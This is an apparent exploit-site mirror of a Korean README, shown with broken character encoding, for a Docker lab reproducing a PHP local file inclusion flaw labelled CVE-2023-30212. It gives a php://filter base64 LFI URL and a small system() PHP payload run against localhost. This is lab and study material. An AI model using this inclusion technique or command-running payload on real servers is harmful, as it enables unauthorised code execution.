Share
## https://sploitus.com/exploit?id=1E3B8C72-35CC-54A4-B5CC-534FBD278F5E
# cve-2023-30212
PoC for CVE-2023-30212 using Docker
# CVE-2023-30212 ํ™˜๊ฒฝ ๊ตฌ์ถ• ๋ฐ PoC ๋ณด๊ณ ์„œ

## ๐Ÿ“Œ ๊ฐœ์š”

์ด ๋ณด๊ณ ์„œ๋Š” Vulhub์— ์—†๋Š” CVE-2023-30212 ์ทจ์•ฝ์ ์„ ๋Œ€์ƒ์œผ๋กœ Docker ๊ธฐ๋ฐ˜์˜ ์ทจ์•ฝํ•œ ์›น ํ™˜๊ฒฝ์„ ์ง์ ‘ ๊ตฌ์„ฑํ•˜๊ณ , PoC๋ฅผ ํ†ตํ•ด ํ•ด๋‹น ์ทจ์•ฝ์ ์„ ์ž…์ฆํ•œ ๋‚ด์šฉ์„ ๋‹ด๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

- **CVE ๋ฒˆํ˜ธ**: CVE-2023-30212
- **์ทจ์•ฝ์  ์„ค๋ช…**: PHP LFI(Local File Inclusion)์„ ํ†ตํ•œ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰ ๊ฐ€๋Šฅ์„ฑ
- **๋‚œ์ด๋„**: ๊ณ ๊ธ‰ (Vulhub์— ์—†๋Š” ํ™˜๊ฒฝ์„ ๊ตฌ์„ฑ)

---

## ๐Ÿ”ง ํ™˜๊ฒฝ ๊ตฌ์„ฑ

### 1. Dockerfile ๋ฐ docker-compose ๊ตฌ์„ฑ

- Base image: `php:8.1-apache`
- `/var/www/html` ๋””๋ ‰ํ„ฐ๋ฆฌ์— `vulnerable.php`์™€ `malicious.php` ๋ณต์‚ฌ
- `8088` ํฌํŠธ๋กœ ์™ธ๋ถ€ ์ ‘์† ๊ฐ€๋Šฅ
<img width="685" alt="๋„์ปค๋นŒ๋“œ" src="https://github.com/user-attachments/assets/c13673c0-6ff3-4df5-81f0-ab89283b9544" />


### 2. ์ฃผ์š” ํŒŒ์ผ ์„ค๋ช…

| ํŒŒ์ผ๋ช…             | ์„ค๋ช…                                |
|-------------------|-------------------------------------|
| `vulnerable.php`  | LFI ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜๋Š” PHP ํŒŒ์ผ         |
| `malicious.php`   | ์‹œ์Šคํ…œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” ์•…์„ฑ PHP ํŒŒ์ผ   |
| `docker-compose.yml` | ์ปจํ…Œ์ด๋„ˆ ๊ตฌ์„ฑ์„ ์œ„ํ•œ ์„ค์ • ํŒŒ์ผ        |
| `Dockerfile`      | ๋„์ปค ์ด๋ฏธ์ง€ ์ƒ์„ฑ์„ ์œ„ํ•œ ์„ค์ • ํŒŒ์ผ      |
<img width="491" alt="image" src="https://github.com/user-attachments/assets/5ae18494-a1a1-4c99-bafb-bc33a99bef7f" />
<img width="578" alt="image" src="https://github.com/user-attachments/assets/0c5f27de-e9f5-4910-b50f-1e0e26baca89" />
<img width="518" alt="image" src="https://github.com/user-attachments/assets/f05b71ab-1ecf-47ce-8365-7e40dcec2d61" />
<img width="512" alt="image" src="https://github.com/user-attachments/assets/064f5eb0-90b2-44e3-9d85-753b102b21d2" />
---

## ๐Ÿš€ ์ทจ์•ฝ์  ์‹คํ–‰ ํ๋ฆ„ (PoC)

### 1. ์ปจํ…Œ์ด๋„ˆ ์‹คํ–‰

```bash
docker-compose up -d
```

์ปจํ…Œ์ด๋„ˆ ์ด๋ฆ„: cve-2023-30212-cve-lfi-1

Apache ์„œ๋ฒ„๊ฐ€ ์‹คํ–‰๋˜๋ฉฐ http://localhost:8088์—์„œ ์ ‘์† ๊ฐ€๋Šฅ

2. LFI ๊ธฐ๋ฐ˜ ์•…์„ฑ ํŒŒ์ผ ์†Œ์Šค ํ™•์ธ
์•„๋ž˜ URL์„ ํ˜ธ์ถœํ•˜์—ฌ malicious.php์˜ ๋‚ด์šฉ์„ base64๋กœ ์ธ์ฝ”๋”ฉ๋œ ํ˜•ํƒœ๋กœ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค:

```bash
http://localhost:8088/vulnerable.php?file=php://filter/convert.base64-encode/resource=malicious.php
```
<img width="508" alt="base64" src="https://github.com/user-attachments/assets/d428e22f-0d05-4c16-94e5-299abf9eb319" />

์ถœ๋ ฅ ๊ฒฐ๊ณผ๋ฅผ ๋””์ฝ”๋”ฉํ•˜๋ฉด ์•„๋ž˜ PHP ์ฝ”๋“œ๊ฐ€ ํ™•์ธ๋ฉ๋‹ˆ๋‹ค:
```php
<?php system("touch /tmp/pwned"); ?>
```
<img width="470" alt="image" src="https://github.com/user-attachments/assets/14cd4d88-bf72-4842-b886-e8a0cba0338c" />

3. ๋ช…๋ น์–ด ์‹คํ–‰ ๋ฐ ๊ฒฐ๊ณผ ํ™•์ธ
์•„๋ž˜ URL์„ ํ˜ธ์ถœํ•˜์—ฌ ์‹ค์ œ๋กœ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค:

```bash
http://localhost:8088/malicious.php
```
๋ช…๋ น์–ด ์‹คํ–‰ ํ›„, /tmp/pwned ํŒŒ์ผ์ด ์ƒ์„ฑ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

```bash
docker exec -it cve-2023-30212-cve-lfi-1 ls /tmp
```
๊ฒฐ๊ณผ์— pwned ํŒŒ์ผ์ด ์กด์žฌํ•˜๋ฉด ์„ฑ๊ณต์ž…๋‹ˆ๋‹ค.

<img width="689" alt="pwnedํŒŒ์ผ" src="https://github.com/user-attachments/assets/d2836c65-9a90-4728-91b9-5910ea6fea6c" />

## ๊ฒฐ๊ณผ ์š”์•ฝ
php://filter ๊ธฐ๋ฐ˜ LFI ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ์•…์„ฑ ํŒŒ์ผ ๋‚ด์šฉ ํ™•์ธ ๋ฐ ๋””์ฝ”๋”ฉ ์„ฑ๊ณต

system() ํ•จ์ˆ˜๊ฐ€ ํฌํ•จ๋œ ์•…์„ฑ PHP ํ˜ธ์ถœ์„ ํ†ตํ•ด ์ž„์˜ ๋ช…๋ น์–ด ์‹คํ–‰ ์„ฑ๊ณต

/tmp/pwned ํŒŒ์ผ์ด ์ƒ์„ฑ๋จ์œผ๋กœ์จ PoC ๊ฒ€์ฆ ์™„๋ฃŒ